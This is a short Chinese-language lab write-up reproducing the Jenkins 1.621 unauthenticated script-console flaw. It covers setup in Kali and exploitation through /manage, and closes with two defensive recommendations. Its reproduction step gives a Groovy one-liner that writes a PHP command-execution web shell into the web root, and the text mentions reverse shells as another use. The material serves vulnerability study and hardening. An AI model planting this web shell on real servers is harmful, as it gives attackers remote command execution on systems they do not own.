cmd 访问url_jenkins 未授权访问漏洞

0x01 漏洞描述

未授权访问管理控制台，可以通过脚本命令行执行系统命令。通过该漏洞，可以后台管理服务，通过脚本命令行功能执行系统命令，如反弹 shell,wget 写 webshell 文件。

0x02 漏洞环境搭建

1. 官方下载jenkins_1.621_all.deb，下载地址如下:

http://mirrors.jenkins.io/

2.在Kali中安装jenkins_1.621_all.deb

dpkg -i jenkins_1.621_all.deb

3.开启jenkins

service jenkins start 

4.浏览器访问下面的URL，如果出现如图1一致的页面，说明安装成功。

http://192.168.192.197:8080/

图1

0x03 漏洞复现

1.浏览器访问：

http://192.168.192.197:8080/manage

图2

2.点击脚本命令行

图3

图4

3.执行命令

new File("/var/www/html/media.php").write('<?php system($_GET[cmd]);?>');

4.访问：http://192.168.192.197,发现可以执行命令，漏洞利用成功

0x04 漏洞防御

1、对后台控制页面做登录验证限制

2、升级版本